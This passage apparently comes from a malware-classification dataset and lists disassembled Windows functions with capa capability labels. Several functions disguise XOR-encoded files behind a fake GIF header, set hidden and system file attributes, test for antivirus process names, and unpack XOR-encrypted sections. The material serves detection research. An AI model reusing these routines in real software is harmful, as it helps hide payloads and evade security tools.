joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000118f
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edi, edi
push edi
call fcn.10003541
push eax
call fcn.10003326
pop ecx
pop ecx
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, 0xffffffff
jne 0x100011cc
xor al, al
jmp 0x100012b9
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea eax, [ebx + 1]
push eax
mov dword [ebp - 0x18], ebx
call fcn.100031fe
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
cmp esi, edi
je 0x100012b5
call fcn.10003338
movzx eax, al
cdq
mov ecx, 0xff
idiv ecx
push edi
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
push dword [ebp - 8]
mov byte [ebp - 1], dl
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001220
xor al, al
jmp 0x100012b7
mov cl, byte [ebp - 1]
lea eax, [ebx - 1]
mov dword [ebp - 0xc], edi
cmp eax, edi
jle 0x10001249
xor eax, eax
mov al, byte [eax + esi + 1]
xor al, byte [ebp - 0xc]
xor al, cl
xor byte [esi], al
inc dword [ebp - 0xc]
lea eax, [ebx - 1]
inc esi
cmp dword [ebp - 0xc], eax
jl 0x1000122d
mov esi, dword [ebp - 0x14]
push dword [ebp - 8]
lea eax, [esi + ebx - 1]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor byte [eax], cl
call ebx
push edi
push 6
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
lea ecx, [ebp - 0x10]
push ecx
push 8
push str.GIF89a
push eax
mov dword [ebp - 8], eax
call esi
push edi
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 8]
call esi
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call ebx
push dword [ebp - 0x14]
call fcn.10002f51
pop ecx
mov al, 1
pop esi
pop ebx
pop edi
leave
ret
Function at 0x100012bc
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ebx
cmp eax, 0xffffffff
jne 0x100012eb
xor al, al
jmp 0x100013f3
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
mov dword [ebp - 8], esi
call fcn.100031fe
mov edi, eax
pop ecx
cmp edi, ebx
je 0x100013ef
cmp dword [ebp - 0xc], ebx
je 0x10001331
push ebx
lea eax, [ebp - 0x10]
push eax
push esi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100013ef
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 8
push edi
push str.GIF89a
call fcn.1000342f
add esp, 0xc
test eax, eax
jne 0x100013e8
mov al, byte [edi + 8]
mov byte [ebp - 1], al
lea eax, [esi - 9]
push eax
call fcn.100031fe
mov esi, eax
pop ecx
cmp esi, ebx
je 0x100013e8
mov eax, dword [ebp - 8]
add eax, 0xfffffff7
push eax
lea eax, [edi + 9]
push eax
push esi
call fcn.10006dd0
push edi
call fcn.10002f51
mov edi, dword [ebp - 8]
add edi, 0xfffffff7
add esp, 0x10
xor eax, eax
cmp edi, ebx
jle 0x10001399
mov cl, byte [eax + esi]
xor cl, al
xor cl, byte [ebp - 1]
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jl 0x10001389
movsx edi, byte [esi + 1]
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
add edi, esi
mov eax, dword [edi + 2]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp - 8]
add edi, 6
push edi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0xc], ebx
je 0x100013dd
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.10002f51
pop ecx
mov al, 1
jmp 0x100013f1
push edi
call fcn.10002f51
pop ecx
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100013f6
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
test eax, eax
je 0x1000140e
xor al, al
pop ebp
ret
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov al, 1
pop ebp
ret
Function at 0x1000141d
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 6
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x10001501
mov eax, dword [ebp + 0x10]
inc eax
push eax
mov dword [ebp - 0xc], ebx
call fcn.100031fe
pop ecx
mov dword [ebp - 8], eax
call fcn.10003338
movzx eax, al
cdq
mov ecx, 0xff
idiv ecx
mov edi, dword [ebp + 0xc]
mov eax, edi
xor ecx, ecx
lea esi, [eax + 1]
mov byte [ebp - 1], dl
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10001477
sub eax, esi
je 0x100014aa
sub edi, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, ecx
mov dl, byte [edi + eax]
xor dl, cl
xor dl, byte [ebp - 1]
inc ecx
mov byte [eax], dl
mov eax, dword [ebp + 0xc]
lea esi, [eax + 1]
xor ebx, ebx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1000149d
sub eax, esi
cmp ecx, eax
jb 0x10001485
mov edi, dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push edi
call esi
test eax, eax
jne 0x100014d9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 8]
call fcn.10002f51
pop ecx
mov al, bl
jmp 0x10001503
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp - 8]
push edi
call esi
test eax, eax
je 0x10001501
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov bl, 1
jmp 0x100014cc
xor al, al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10001508
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1000159d
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
mov dword [ebp - 8], edi
call fcn.100031fe
pop ecx
push 0
mov edi, eax
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000159d
lea eax, [esi - 1]
xor ecx, ecx
test eax, eax
jle 0x10001584
mov eax, edi
sub eax, ebx
inc eax
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
lea eax, [ecx + ebx]
mov dl, byte [edx + eax]
xor dl, byte [edi]
xor dl, cl
mov byte [eax], dl
inc ecx
lea eax, [esi - 1]
cmp ecx, eax
jl 0x1000156d
push edi
mov byte [esi + ebx - 1], 0
call fcn.10002f51
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1000159f
xor al, al
pop edi
pop esi
leave
ret
Function at 0x100015a3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.10003541
push eax
call fcn.10003326
pop ecx
pop ecx
call fcn.10003338
cdq
push 3
pop ecx
idiv ecx
mov esi, edx
call fcn.10003338
push 7
xor edx, edx
pop ecx
div ecx
mov dword [ebp - 4], edx
call fcn.10003338
push 0x28
xor edx, edx
pop ecx
div ecx
mov edi, edx
shr edi, 2
call fcn.10003338
push 0x28
xor edx, edx
pop ecx
div ecx
mov ebx, edx
shr ebx, 2
call fcn.10001048
push dword [ebp + 8]
test eax, eax
je 0x10001621
xor eax, eax
push eax
push eax
push dword [esi*4 + 0x1000c160]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov eax, dword [ebp - 4]
push dword [eax*4 + 0x1000fde4]
jmp 0x1000163d
xor eax, eax
push eax
push eax
push dword [esi*4 + 0x1000c160]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov eax, dword [ebp - 4]
push dword [eax*4 + 0x1000fda4]
mov esi, 0x104
push esi
push dword [ebp + 8]
call fcn.10003483
push dword [ebp + 8]
call fcn.100013f6
push dword [edi*4 + 0x1000fd7c]
push esi
push dword [ebp + 8]
call fcn.10003483
push dword [ebx*4 + 0x1000fdbc]
push esi
push dword [ebp + 8]
call fcn.10003483
add esp, 0x28
pop edi
pop esi
mov al, 1
pop ebx
leave
ret

Function at 0x1000167d
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push 0x44
mov eax, 0x10009299
call fcn.100084d4
mov eax, dword [ebp + 8]
and dword [ebp - 0x1c], 0
mov esi, ecx
mov dword [ebp - 0x50], eax
mov eax, esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100016a8
sub eax, edx
mov ecx, esi
lea edx, [ebp - 0x2c]
call fcn.10001ef1
and dword [ebp - 4], 0
push 1
lea edx, [ebp - 0x2c]
call fcn.10001db1
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x48]
call fcn.10001d86
mov ebx, eax
lea eax, [ebp - 0x2c]
cmp eax, ebx
je 0x1000171c
push 1
xor edi, edi
mov esi, eax
call fcn.10001e2b
cmp dword [ebx + 0x14], 0x10
jae 0x10001703
mov eax, dword [ebx + 0x10]
inc eax
push eax
mov eax, esi
push ebx
push eax
call fcn.10002bf0
add esp, 0xc
jmp 0x1000170a
mov eax, dword [ebx]
mov dword [ebp - 0x2c], eax
and dword [ebx], edi
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x18], eax
and dword [ebx + 0x10], edi
and dword [ebx + 0x14], edi
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.10001e2b
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000173a
test al, 0x10
je 0x1000177c
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x10001746
lea eax, [ebp - 0x2c]
push eax
call fcn.10001030
pop ecx
test al, al
jne 0x10001764
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1000175d
lea eax, [ebp - 0x2c]
push eax
call fcn.100013f6
pop ecx
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
call fcn.1000118f
pop ecx
pop ecx
push 6
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
xor edi, edi
lea esi, [ebp - 0x2c]
call fcn.10001e2b
call fcn.1000851e
ret
Function at 0x1000178e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
push 0
push dword [eax*4 + str.67.]
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp dword [ebp + 0x10], 0
mov esi, 0x104
je 0x100017cf
push dword [ebp + 0x10]
push esi
push edi
call fcn.10003483
push edi
call fcn.10001030
add esp, 0x10
test al, al
jne 0x100017cf
push edi
call fcn.100013f6
pop ecx
push dword [ebp + 8]
push esi
push edi
call fcn.10003483
push edi
call fcn.10001030
add esp, 0x10
test al, al
jne 0x100017ed
push edi
call fcn.100013f6
pop ecx
push dword [ebp + 0xc]
push esi
push edi
call fcn.10003483
add esp, 0xc
pop esi
pop ebp
ret
Function at 0x10001c67
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x1000e078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10001d69
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push str.360safe.exe
push eax
call fcn.100032a0
pop ecx
pop ecx
test eax, eax
jne 0x10001d68
lea eax, [ebp - 0x108]
push str.ZhuDongFangYu.exe
push eax
call fcn.100032a0
pop ecx
pop ecx
test eax, eax
jne 0x10001d68
lea eax, [ebp - 0x19c]
push eax
mov dword [ebp - 0x19c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x198], 5
jne 0x10001d63
cmp dword [ebp - 0x18c], 2
jne 0x10001d63
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100031e7
lea eax, [ebp - 0x108]
push str.explorer.exe
push eax
call fcn.100032a0
add esp, 0x10
test eax, eax
jne 0x10001d68
lea eax, [ebp - 0x108]
push str.svchost.exe
push eax
call fcn.100032a0
pop ecx
pop ecx
test eax, eax
jne 0x10001d68
lea eax, [ebp - 0x108]
push str.spoolsv.exe
push eax
call fcn.100032a0
pop ecx
pop ecx
test eax, eax
jne 0x10001d68
lea eax, [ebp - 0x108]
push str.snmp.exe
push eax
call fcn.100032a0
pop ecx
pop ecx
test eax, eax
jne 0x10001d68
call fcn.10001c0e
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.10002a98
leave
ret 0xc

Function at 0x10002a98
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e078]
jne 0x10002aa2
repz ret
jmp fcn.100038db
Function at 0x100075ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000e078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10004682
and dword [ebp - 0x14], 0
cmp dword [0x1000f898], 0
mov dword [ebp - 0x18], eax
jne 0x1000765f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10007707
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10007707
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000f898], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000f89c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000f8a0], eax
call edi
push eax
call esi
mov dword [0x1000f8a8], eax
test eax, eax
je 0x1000765f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000f8a4], eax
mov eax, dword [0x1000f8a4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100076b8
cmp dword [0x1000f8a8], ecx
je 0x100076b8
push eax
call esi
push dword [0x1000f8a8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100076b8
test ebx, ebx
je 0x100076b8
call edi
test eax, eax
je 0x100076af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100076af
test byte [ebp - 8], 1
jne 0x100076b8
or dword [ebp + 0x10], 0x200000
jmp 0x100076eb
mov eax, dword [0x1000f89c]
cmp eax, dword [ebp - 0x18]
je 0x100076eb
push eax
call esi
test eax, eax
je 0x100076eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100076eb
mov eax, dword [0x1000f8a0]
cmp eax, dword [ebp - 0x18]
je 0x100076eb
push eax
call esi
test eax, eax
je 0x100076eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000f898]
call esi
test eax, eax
je 0x10007707
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10007709
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002a98
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x6abf3283
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x7d655054
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret

Function at 0x401d20
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x44
mov ecx, 0x10
mov eax, 0x55555556
push esi
push edi
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x54]
xor edi, edi
imul esi
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, esi
mov ecx, edx
mov esi, 3
cdq
idiv esi
mov esi, dword [esp + 0x50]
mov eax, dword [esp + 0x58]
test ecx, ecx
jle 0x401dc7
push ebx
push ebp
mov ebp, ecx
lea edi, [ecx*4]
xor ecx, ecx
xor ebx, ebx
mov cl, byte [esi]
add esi, 3
shr ecx, 2
inc eax
mov cl, byte [esp + ecx + 0x10]
mov byte [eax - 1], cl
mov bl, byte [esi - 2]
mov cl, byte [esi - 3]
shr ebx, 4
and ecx, 3
shl ecx, 4
lea ebx, [esp + ebx + 0x10]
inc eax
mov cl, byte [ebx + ecx]
xor ebx, ebx
mov byte [eax - 1], cl
mov bl, byte [esi - 1]
mov cl, byte [esi - 2]
shr ebx, 6
and ecx, 0xf
inc eax
lea ebx, [esp + ebx + 0x10]
mov cl, byte [ebx + ecx*4]
mov byte [eax - 1], cl
mov cl, byte [esi - 1]
and ecx, 0x3f
inc eax
dec ebp
mov cl, byte [esp + ecx + 0x10]
mov byte [eax - 1], cl
jne 0x401d6d
pop ebp
pop ebx
mov ecx, edx
dec ecx
je 0x401e14
dec ecx
jne 0x401e3d
xor edx, edx
mov dl, byte [esi]
shr edx, 2
inc eax
mov cl, byte [esp + edx + 8]
mov byte [eax - 1], cl
mov dl, byte [esi]
xor ecx, ecx
and edx, 3
mov cl, byte [esi + 1]
shr ecx, 4
shl edx, 4
lea ecx, [esp + ecx + 8]
inc eax
mov dl, byte [ecx + edx]
mov byte [eax - 1], dl
mov cl, byte [esi + 1]
and ecx, 0xf
add edi, 4
mov dl, byte [esp + ecx*4 + 8]
mov byte [eax], dl
mov byte [eax + 1], 0x3d
mov eax, edi
pop edi
pop esi
add esp, 0x44
ret
xor ecx, ecx
mov cl, byte [esi]
shr ecx, 2
inc eax
mov dl, byte [esp + ecx + 8]
mov byte [eax - 1], dl
mov cl, byte [esi]
and ecx, 3
shl ecx, 4
inc eax
add edi, 4
mov dl, byte [esp + ecx + 8]
mov byte [eax - 1], dl
mov byte [eax], 0x3d
mov byte [eax + 1], 0x3d
mov eax, edi
pop edi
pop esi
add esp, 0x44
ret
Function at 0x401e50
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x324
push ebp
push esi
push edi
mov edi, dword [esp + 0x44c]
lea eax, [esp + 0x18]
xor ebp, ebp
push eax
push edi
xor esi, esi
mov dword [esp + 0x18], ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
shl ecx, 8
add ecx, eax
cmp ecx, ebp
mov dword [esp + 0x1c], ecx
jle 0x401f66
push ebx
mov ebx, dword [esp + 0x338]
jmp 0x401e9e
mov edi, dword [esp + 0x450]
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x2c]
push 0xfc
push edx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
push 0
add esi, eax
push 0
push esi
push edi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x134]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x134]
push eax
push ecx
push edx
call fcn.00401d20
mov esi, eax
add esp, 0xc
lea edi, [esp + 0x134]
mov byte [esp + esi + 0x134], 0
mov eax, 0x4c
lea ecx, [esp + 0x10]
sub eax, ebp
push 0
cmp esi, eax
push ecx
jl 0x401f48
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [esp + 0x10]
push 0
push edx
push 2
push 0x40d244
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0x4c
lea esi, [esi + ebp - 0x4c]
sub eax, ebp
add edi, eax
xor ebp, ebp
jmp 0x401f07
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
mov ebp, dword [esp + 0x10]
cmp eax, edx
jg 0x401e93
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x324
ret

Function at 0x401f70
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x204
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x210]
push edi
lea edx, [esi + 0x62]
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401faa
add esi, 0x21
lea eax, [esp + 0xc]
push esi
push edx
push str.Disposition_Notification_To:___s____s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x401fc1
add esi, 0x21
lea ecx, [esp + 0xc]
push esi
push str.Disposition_Notification_To____s__r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 8]
repne scasb al, byte es:[edi]
not ecx
push 0
dec ecx
push edx
push ecx
mov ecx, dword [esp + 0x21c]
lea eax, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
add esp, 0x204
ret
Function at 0x402000
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x204
lea eax, [esp + 0x210]
lea ecx, [esp + 4]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push edi
push eax
push str.MIME_Version:__s_r_n
push ecx
call ebp
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x218]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
not ecx
lea edx, [esp + 0x10]
push 0
dec ecx
push edx
lea eax, [esp + 0x1c]
push ecx
push eax
push esi
call ebx
lea ecx, [esp + 0x260]
lea edx, [esp + 0x14]
push ecx
push str.Content_Transfer_Encoding:__s_r_n
push edx
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
push 0
push eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x20]
push ecx
push esi
call ebx
lea edx, [esp + 0x2a0]
lea eax, [esp + 0x14]
push edx
push str.Content_Type:__s_r_n
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
lea edi, [esp + 0x14]
xor eax, eax
push 0
push ecx
or ecx, 0xffffffff
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call ebx
push str.E_MailPrinting_Version_2.0.1
lea eax, [esp + 0x18]
push str.X_Mailer:__s_r_n
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
lea edi, [esp + 0x14]
push 0
push ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push esi
call ebx
mov eax, dword [esp + 0x21c]
mov ecx, dword [eax + 0xb58]
test ecx, ecx
je 0x402109
push eax
push esi
call fcn.00401f70
add esp, 8
lea eax, [esp + 0x10]
push 0
push eax
mov edi, 0x40d244
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40d244
push esi
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret
Function at 0x402140
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x204
lea eax, [esp + 0x210]
lea ecx, [esp + 4]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push edi
push eax
push str.MIME_Version:__s_r_n
push ecx
call ebp
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x218]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
not ecx
lea edx, [esp + 0x10]
push 0
dec ecx
push edx
lea eax, [esp + 0x1c]
push ecx
push eax
push esi
call ebx
lea ecx, [esp + 0x260]
lea edx, [esp + 0x14]
push ecx
push str.Content_Transfer_Encoding:__s_r_n
push edx
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
push 0
push eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x20]
push ecx
push esi
call ebx
lea edx, [esp + 0x2e0]
lea eax, [esp + 0x14]
push edx
push str.Content_Type:_multipart_mixed__boundary__s__r_n
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
lea edi, [esp + 0x14]
xor eax, eax
push 0
push ecx
or ecx, 0xffffffff
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call ebx
push str.E_MailPrinting_Version_2.0.1
lea eax, [esp + 0x18]
push str.X_Mailer:__s_r_n
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
lea edi, [esp + 0x14]
push 0
push ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push esi
call ebx
mov eax, dword [esp + 0x21c]
mov ecx, dword [eax + 0xb58]
test ecx, ecx
je 0x402249
push eax
push esi
call fcn.00401f70
add esp, 8
lea eax, [esp + 0x10]
push 0
push eax
mov edi, 0x40d244
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40d244
push esi
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret